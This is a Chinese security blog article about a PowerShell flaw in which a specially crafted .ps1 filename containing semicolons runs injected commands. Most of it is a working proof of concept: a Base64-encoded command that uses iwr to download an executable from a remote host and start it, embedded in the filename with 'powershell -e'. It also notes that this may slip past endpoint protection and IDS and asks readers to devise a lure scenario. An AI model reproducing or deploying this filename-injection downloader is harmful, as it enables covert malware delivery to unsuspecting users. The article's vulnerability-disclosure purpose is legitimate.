专栏首页FreeBuf精心构造的PS1文件名导致Powershell命令执行

精心构造的PS1文件名导致Powershell命令执行

Windows PowerShell是专门为系统管理员设计的Windows命令行外壳程序。PowerShell包括可独立使用或组合使用的交互式提示和脚本环境。

我们在一次测试中偶然发现,由于信任未过滤的文件名,因此在运行特殊命名的脚本时,PowerShell可能会执行任意代码。

测试发现当“ .ps1”文件包含分号“;”或者空格作为文件名一部分时,就会出现这种情况。

测试发现运行带有特殊格式文件名的脚本后,可以导致执行其他木马如exe文件,也可以是任何可执行文件如.com,.exe,.bat,.cpl,.js,.vbs和.wsf。

例如:使用”.\calc;1.ps1”则可以用来执行calc.exe,如果使用标准调用了该脚本Windows外壳程序“ cmd.exe”和“ calc.exe”与ps1脚本位于同一目录中。如下图所示:

但是,如果这些脚本是从PowerShells Shell运行的而不是“ cmd.exe”,则“&”(调用运算符)将阻止我们的漏洞利用。

不过,如果用户启用了“ .ps1”脚本以将PowerShell作为默认程序打开,则只需双击该文件即可触发漏洞利用。“&”呼叫运算符将不再起效果。另外,如果用户尚未启用PowerShell来打开.ps1脚本,

默认情况下 然后从cmd.exe运行脚本,例如:

c:\>powershell "\Hello;World.ps1"

也可以直接运行,而无需放入PowerShell shell。

我的PoC测试下载一个远程可执行文件,将其保存到计算机中,然后执行它,而与PS文件本身的内容无关紧要。PS文件本身就是一个简单的:Write-Host “Hello World!”

另外,请注意,在vicitm调用“ iwr”(调用webrequest)之后,需要使用“%CD”来定位当前工作目录,缩写为空格,为了确保下载完成,需要睡眠2秒钟,然后执行。

测试过程如下:

1、生成powershell命令:首先,我们创建一个用于混淆的Base64编码的文件名;它将下载并执行一个在本例中名为“ calc.exe”的远程可执行文件。

将可执行文件托管在Web服务器上,或仅使用python -m SimpleHTTPServer 80或任何其他工具。

C:\>powershell [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("'powershell iwr 192.168.220.134/calc.exe -OutFile %CD%/calc.exe;sleep -s 2;start calc.exe'"))

注意windows的文件名长度,尽量简写,如:

C:\>powershell [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("'powershell iwr 192.168.220.134/p %CD%/p.exe;sleep -s 2;start p.exe'"))

cABvAHcAZQByAHMAaABlAGwAbAAgAGkAdwByACAAMQA5ADIALgAxADYAOAAuADIAMgAwAAMQAzADQALwBwACAAYwA6AFwwBpAG4AZABvAHcAcwBcAGQAZQBiAHUAZwBcAFcASQBBAC8AcAAuAGUAeABlADsAcwBsAGUAZQBwACAALQBzACAAMgA7AHMAdABhAHIAdAAgAHAALgBlAHgAZQA=

这可能会破坏PowerShell的完整性,因为它可能允许意外的代码执行。即使脚本内容经过视觉检查也是如此。

我们也许还可以绕过某些端点保护或IDS系统,这些系统可能只查看文件的内容或标头,而不查看文件名。

为此,用户在打开“ .ps1”文件时必须已将PowerShell启用为其默认程序。

2、然后给PS脚本起一个普通的开始名称,然后使用“;”分隔命令。“ -e”是EncodedCommand的缩写,用于再次保存文件名空间。例如

test; powershell -e <BASE64编码命令>; 2.ps1

3、双击以在PowerShell中打开,效果如下:

或者在命令行下执行:

以上示例是使用了“文件名嵌入式下载器”,其实我们还可以在同一目录中调用其他各种类型的第二特洛伊木马文件。

使用起来,是需要用户交互,需要想一个场景来利用。

显然运行任何随机PS脚本都是危险的……

但是,我们查看了文件内容,

仅仅是打印了一个字符串,文件名理论上被查杀的可能性小。

*本文原创作者:freexploit,本文属于FreeBuf原创奖励计划,未经许可禁止转载

本文分享自微信公众号 - FreeBuf(freebuf),作者:freexploit

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-11-26

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 渗透测试专用版Linux:BackBox3.13发布

    BackBox团队近日很高兴地宣布Linux的更新版本,版本3.13。BackBox是基于Ubuntu的Linux发行版本,它被用于网络渗透测试及安全评估。 更...

    FB客服
  • 传播恶意软件最有效帮手:超95%的PowerShell脚本都是恶意脚本

    对很多IT专业人士来说,Powershell的确是Windows系统中一个相当强大的工具,而且微软也有意将PowerShell作为Windows系统的默认命令行...

    FB客服
  • 币安遭黑客洗劫7000比特币,价值约4100万美金

    今天早间,币安发布公告称,发现大规模的系统性攻击,黑客通过网络钓鱼、病毒等多种攻击手段卷走了7000比特币。受此影响,BTC在一小时内下跌3%,加密货币均有所下...

    FB客服
  • [C-C++]控制台用定时器

    在对实时指标不是非常苛刻时,这个功能可以帮助我们完成很多功能。那么问题来了,这个可以用在一般控制台程序中吗?答案当然是肯定的。

    祥知道
  • 自建脚手架之配置中心--LightConf的实现

    常规项目开发过程中, 通常会将配置信息位于在项目resource目录下的properties文件文件中, 配置信息通常包括有: jdbc地址配置、redis地址...

    haifeiWu
  • 区块链公司布比完成1亿元新一轮融资,由新链创投、盘古创富联合领投 | 热点

    镁客网
  • 融资 | PanguVR获得400万种子轮融资,提供高效的VR家装解决方案

    镁客网
  • stdin and stdout which it's ?

    最近写了几个C函数,来处理项目中一个Desktop跨应用的进程通信,被32-bit,LE(BE)折磨了很久,stdin and stdout 看起来是一个很简单...

    icepy
  • Mac开发基础练习:制作一个状态栏(NSStatusBar)上的App(二)

    1.1 选中ViewController.m文件,添加鼠标左键点击事件监听,实现代码如下图:

    代码行者
  • LWC 61:740. Delete and Earn

    LWC 61:740. Delete and Earn 传送门:740. Delete and Earn Problem: Given an array nu...

    用户1147447

扫码关注云+社区

领取腾讯云代金券